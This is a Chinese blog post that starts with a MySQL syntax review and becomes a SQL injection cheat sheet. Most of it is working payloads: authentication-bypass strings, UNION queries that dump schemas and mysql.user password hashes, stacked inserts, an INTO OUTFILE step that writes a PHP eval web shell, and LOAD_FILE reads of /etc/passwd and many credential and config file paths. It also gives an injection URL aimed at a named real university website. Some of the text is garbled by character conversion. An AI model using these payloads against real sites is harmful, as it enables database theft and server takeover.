mysql基礎語法及拓展到web中的sql注入

  原本是想寫下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到凌晨3點, 誰知道jdbcTemplate的jar包很差使, 想死的心都有了, 想一想仍是休息一下, 因此複習一下mysql的基本語法,由於之前對web的安全比較熟悉, 看過好多黑客防線以及黑客X檔案, 黑鍋幾家網吧,你懂的, o(^▽^)o, 因此拓展一下web安全, 常見web注入的方式, 以及找的兩篇資料;php

  首先複習一下基本的增刪改查:html

//從Users表中刪除User爲admin的字段;
delete from Users where User="admin"

//將Users表中User爲root的字段的Password改成11111
update Users set Password=111111 where User=’root’

//新建一個teacher表 ,表包含了一個自增的id,名字,地址和入園時間(....)
create table teacher
(
id int(3) auto_increment not null primary key,
name char(10) not null,
address varchar(50) default ‘深圳',
year date
)

//爲表teacher增長一條記錄;
insert into teacher values('','allen','大連一中','1976-10-10');

//查詢tacher表中的全部記錄; select這個是最經常使用的, 後面能夠添加各類條件,匹配合適的記錄,
/*
包括 and between  ** to **; 
where **
order by **
group by  ** having
left join on **;
union **
limit等各類語法;
*/
select * from teacher;

  

  數據庫注入式一種很老的技術了, 數據庫是一個企業或者一個網站的靈魂, 若是你數據庫被惡意更改了, 那麼咱們就沒有咪咪(>^ω^<)了, 網上也常據說XXX網站被黑了, 爆了各類密碼,爆了各類開房信息有木有啊, *度都被黑過呢 , 還據說企鵝帝國裏面大部分人都是搞防黑,搞安全的;java

  剛剛寫了一個servlet的DEMO :mysql

  正常的代碼以下,咱們會獲取參數,而後經過jdbc進行數據庫查詢;linux

 

  若是咱們傳的參數是這樣的:http://localhost:8080/test4/ann.do?arg=1' union select count(*) from testOrders or '1'='1;web

  合併起來的sql語句就變成了這樣, 這就產生了注入漏洞spring

  我所知道的數據庫包括mysql, mssql, oracle, 以及不溫不火的mongodb....,操做到頭來都只有增刪改查, 我就說下mysql, mysql用的人多啊;sql

  version(), database(),user()這幾個至關於全局變量 , 在數據庫中直接select version()就會返回對應的數據庫版本信息;mongodb

  要判斷一個網站是否存在注入能夠手工判斷, 常見的方式是構造:數據庫

1=1 and 1=2
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
 

 

  若是服務器沒有進行防注入過濾的話,sql語句會變成這樣: select * from orders where 1=1 and 1=2 and 1=1; 

  亦能夠這樣, 不許還能返回對應的數據庫信息;

  and 1=2 union all select version() /*

  and 1=2 union all select database() /*

  and 1=2 union all select user() /*

 

  //這個能夠判斷數據庫的版本是否爲數字5開頭
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //經過union查詢能夠獲取數據庫的版本信息, 固然了, union查詢要求字段必定匹配;
  select * from orders union select 1,version() from orders

  //肯定查詢的字段數,若是返回成功, 那麼union會成功;
  select * from orders union select 1,1 from orders

  //經過在where後面添加and ord(mid(version(),1,1))<50 判斷數據庫的版本號
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //這個能夠查詢到當前的用戶信息(好比root)
  select * from orders union select database(),user() from orders

  //返回用戶數
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //獲取用戶名爲root的密碼;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'

  //根據當前字段數獲取information_schema中保存全部數據庫信息
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES這個字段保存的是mysql的表信息
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //獲取world這個數據庫的表結構, 固然, 你首先爆數據庫名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100

  //獲取字段, 要知道數據庫和表的名字,就能夠獲取字段的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci  //尼瑪啊, 喲了root這個是直接爆密碼的節奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //若是略顯無聊, 咱們能夠利用;insert into orders(name) values('hehe');增長本身想要的字段;

  select * from orders where 1=1 ;insert into orders(name) values('hehe');

  //咱們能夠把查詢出來的數據保存,固然了,你要知道保存的目錄.... 就是傳jsp, asp, php小馬, 小馬傳大馬, 大馬傳木馬, 而後就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile 'e:/sql.txt';

 

  //o(^▽^)o,下面是轉載的,防忘記,轉載自

  暴字段長度
    order by num/*

  匹配字段
    and 1=1 union select 1,2,3,4,5…….n/*

  暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用內置函數暴數據庫信息
    version() database() user()

  不用猜解可用字段暴數據庫信息(有些網站不適用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  操做系統信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  數據庫權限:
    and ord(mid(user(),1,1))=114 /* 返回正常說明爲root

  暴庫 (mysql>5.0)

  Mysql 5 以上有內置庫 information_schema,存儲着mysql的全部數據庫和表結構信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0爲第一個開始記錄),1(顯示1條記錄)—

  猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1

  暴密碼
  and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

  高級用法(一個可用字段顯示兩個數據內容):
    Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

  直接寫馬(Root權限)
  條件:一、知道站點物理路徑
       二、有足夠大的權限(能夠用select …. from mysql.user測試)
       三、magic_quotes_gpc()=OFF
    select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路徑’
    and 1=2 union all select 一句話HEX值 into outfile '路徑'

  //利用load_file能夠讀取文件信息, 權限要是root;
    select LOAD_FILE('e:/sql.txt') ; 話說我這個獲取根本不是string文件啊, 是blob, 誰知道怎麼辦嘛....

  load_file() 經常使用路徑:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件裏徹底顯示代碼.有些時候不替換一些字符,如 「<」 替換成」空格」 返回的是網頁.而沒法查看到代碼.
3、 load_file(char(47)) 能夠列出FreeBSD,Sunos系統根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火牆策略
16 、 usr/local/app/php5 b/php.ini PHP 的至關設置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

  

  網站經常使用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
  注:
    Char(60)表示 <
    Char(32)表示 空格

  手工注射時出現的問題:
  當注射後頁面顯示:
    Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
    如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
    這是因爲先後編碼不一致形成的,
    解決方法:在參數前加上 unhex(hex(參數))就能夠了。上面的URL就能夠改成:
    http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

    gropu by 語句的使用

    利用group by 爆數據庫字段, 我這個5.x版本無效了, 應該是4或者3版本纔有這漏洞....

      SQL注入備忘單

        注入

    注入的實例

    jb51的mysql基本資料 打開

相關文章
相關標籤/搜索